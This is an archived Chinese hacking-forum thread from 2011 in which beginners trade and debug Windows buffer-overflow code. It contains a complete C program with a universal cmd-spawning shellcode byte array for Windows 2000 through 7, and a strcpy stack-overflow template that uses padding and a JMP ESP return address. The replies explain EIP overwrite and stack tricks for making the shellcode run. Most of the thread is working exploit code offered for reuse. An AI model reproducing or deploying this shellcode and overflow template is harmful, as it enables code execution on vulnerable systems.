本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 2935|回复: 6

菜鸟刚开始看点溢出的东西请教几个问题 [复制链接]

Rank: 1

发表于 2011-11-28 22:32:48 |显示全部楼层
菜鸟刚开始看点溢出的东西请教几个问题
有没有大神提供个XP  sp3下的ShellCode测试代码
有啥好的教程没有
我看了本Q版缓冲区溢出教程上面的测试代码都不行

Rank: 1

发表于 2011-11-29 14:34:49 |显示全部楼层
  1. #include <stdio.h>

  2. unsigned char shellcode[] = {
  3.         // Windows 2000, Windows 2003, Windows XP
  4.         // Windows Vista, Windows 7通用cmd Shellcode
  5.         "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
  6.         "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
  7.         "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
  8.         "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
  9.         "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
  10.         "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
  11.         "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
  12.         "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
  13.         "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
  14.         "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
  15.         "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
  16.         "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
  17.         "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
  18.         "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
  19.         "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
  20.         "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
  21.         "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
  22.         "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
  23.         "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
  24.         "\x24\x20\x57\xFF\xD0"
  25. };

  26. int main(int argc, char **argv)
  27. {
  28.         __asm
  29.         {
  30.                 lea eax, shellcode
  31.                 push eax
  32.                 ret
  33.         }
  34.         return 0;
  35. }
复制代码

Rank: 1

发表于 2011-11-30 19:53:20 |显示全部楼层
我按照如下方式测试为啥木有反应
  1. #include <stdio.h>
  2. #include "windows.h"

  3. char shellcode[] = {
  4.         // Windows 2000, Windows 2003, Windows XP
  5.         // Windows Vista, Windows 7通用cmd Shellcode
  6.                 "\x41\x41\x41\x41"
  7.                 "\x41\x41\x41\x41"
  8.                 "\x41\x41\x41\x41"
  9.                 //77D29353    FFE4            JMP ESP
  10.                 "\x53\x93\d2\x77"

  11.         "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
  12.         "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
  13.         "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
  14.         "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
  15.         "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
  16.         "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
  17.         "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
  18.         "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
  19.         "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
  20.         "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
  21.         "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
  22.         "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
  23.         "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
  24.         "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
  25.         "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
  26.         "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
  27.         "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
  28.         "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
  29.         "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
  30.         "\x24\x20\x57\xFF\xD0"
  31.                 //add esp,8?
  32. };

  33. int main(int argc, char **argv)
  34. {
  35.        // __asm
  36.        // {
  37.        //         lea eax, shellcode
  38.        //         push eax
  39.       //          ret
  40.         //}
  41. //        ((void(*)())(&shellcode))();
  42.         char output[8];
  43.         strcpy(output,shellcode);
  44.         return 0;
  45. }
复制代码

Rank: 1

发表于 2011-12-1 15:06:37 |显示全部楼层


你上面写,strcpy(output,shellcode);  

是把栈后面的东西给覆盖。  而strcpy(output,shellcode);  把NTDLL 中的内存东西覆盖了,单步调试时侯报错。不知道你用VC6单步追没。。

为什么把系统中 NTDLL的内存给覆盖了呢?  可能是由于系统调用每个进程 ,是通过 NTDLL通用的,所以main函数返回,是返回在NTDLL中,而这个测试程序,正好说明了这点。

Rank: 1

发表于 2011-12-1 20:43:48 |显示全部楼层
楼上的看不懂。。。
额菜鸟勿鄙视
我的理解是执行到strcpy时进入了这个函数的call,然后里面应该是默认为函数预留了8字节的局部变量存储空间,然后那个shellcode是8个A填充了这8个字节的局部变量空间,4个A覆盖了EBP,然后JMP ESP机器码的地址覆盖了EIP, call(strcpy)里面的ret后JMP ESP的地址弹出到EIP,此时ESP指向获得CMD窗口的机器码(一楼给出的),然后就去执行获取CMD窗口的指令了吧。。。
请指教下哪里出错误了,手头也没什么资料,望好心人指教

Rank: 1

发表于 2011-12-14 22:26:09 |显示全部楼层
具体原因不知道,但可能跟shellcode的长度有关系,太长了。为了测试,把shellcode只填充一部分字节,去掉4个'A'(不知道是否必须,也可能是我的编译器的不同),同时确保jmp esp的地址正确。调试后可以跳到shellcode去执行。大概跟4楼说的机制也有关系。
这种东西就要去自己调试,不断的摸索

Rank: 1

发表于 2011-12-16 09:58:51 |显示全部楼层
非常感谢啦,那本书上的shellcode我在虚拟机里xp下可以成功。这段代码也收了。

还有,调试这段shellcode的时候有没有考虑堆栈的情况,就是你本身的push,pop操作会不会破坏shell?我有时候会遇到这个问题,一般shellcode第一句就是要sub esp xxx,使得shellcode隐藏在堆栈中不至于被破坏,因为我没有调试这段代码,只是提个建议。。。。
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-6-27 13:21 , Processed in 0.021879 second(s), 8 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部